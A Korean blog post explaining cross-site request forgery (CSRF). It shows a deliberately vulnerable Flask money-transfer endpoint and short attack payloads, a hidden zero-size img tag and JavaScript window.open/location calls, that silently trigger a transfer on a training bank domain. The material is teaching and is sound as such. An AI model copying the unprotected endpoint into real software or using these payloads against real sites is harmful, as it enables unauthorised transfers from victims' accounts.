본문 바로가기
카테고리 없음

ClientSide: CSRF란?

by whiteTommy 2024. 3. 13.

CSRF(Cross Site Request Forgery)

: 임의 이용자의 권한으로 임의 주소에 HTTP Request 를 보낼 수 있는 취약점 공격 기법이다

 

아래는 CSRF 취약점이 존재하는 예제 코드로, 송금 기능을 수행한다.

# 이용자가 /sendmoney에 접속했을때 아래와 같은 송금 기능을 웹 서비스가 실행함.
@app.route('/sendmoney')
def sendmoney(name):
    	# 송금을 받는 사람과 금액을 입력받음.
    	to_user = request.args.get('to')
  	amount = int(request.args.get('amount'))
	
	# 송금 기능 실행 후, 결과 반환	
	success_status = send_money(to_user, amount)
	
	# 송금이 성공했을 때,
	if success_status:
	    # 성공 메시지 출력
	    return "Send success."
	# 송금이 실패했을 때,
	else:
	    # 실패 메시지 출력
	    return "Send fail."

 

GET /sendmoney?to=dreamhack&amount=1337 HTTP/1.1
Host: bank.dreamhack.io
Cookie: session=IeheighaiToo4eenahw3

 

위와 같이 GET 방식으로 HTTP request하면, 

to_user = dreamhack, amout = 1337이고 이 값들로 send_money method를 호출하며

이 return 값이 success_status에 저장되고 값이 존재하면(송금 성공) Send success를 출력하고, 그 반대의 경우에는 Send fail 를 출력해준다.

 

 

CSRF 동작

공격에 성공하기 위해서는 공격자가 작성한 악성 스크립트를 이용자가 실행해야 한다. HTML 또는 Javascript를 통해 공격자가 작성해서 이용자에게 메일을 보내거나 게시판에 글을 작성해 이용자가 이를 조회하도록 유도할 수 있다. 이미지를 불러오는 img 태그나 웹 페이지에 입력된 양식을 전송하는 form태그를 사용하는 방법이 있다. 이 두 개의 태그를 사용해서 HTTP request를 보내면 HTTP header인 Cookie에 이용자의 인증 정보가 포함된다.

 

아래는 HTML img 태그를 이용한 스크립트 예시이다. 이미지의 크기를 줄일 수 있는 옵션을 제공하여 들키지 않고 임의 페이지에 request를 보낼 수 있다.

<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337' width=0px height=0px>

 

 

아래는 JS로 작성된 스크립트의 예시이다. 새로운 창을 띄우고, 현재 창의 주소를 옮기는 등의 행위가 가능하다.

/* 새 창 띄우기 */
window.open('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
/* 현재 창 주소 옮기기 */
location.href = 'http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337';
location.replace('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');